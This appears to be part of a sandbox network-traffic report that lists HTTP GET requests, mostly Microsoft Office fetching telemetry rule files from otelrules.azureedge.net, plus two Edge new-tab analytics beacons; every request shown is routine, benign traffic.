Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1730300377539&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=07F34F268BE36FD729115A0E8A126EB4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730300377539&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=07F34F268BE36FD729115A0E8A126EB4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1BA63b92b877a81b2c970771730300381; XID=1BA63b92b877a81b2c970771730300381
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
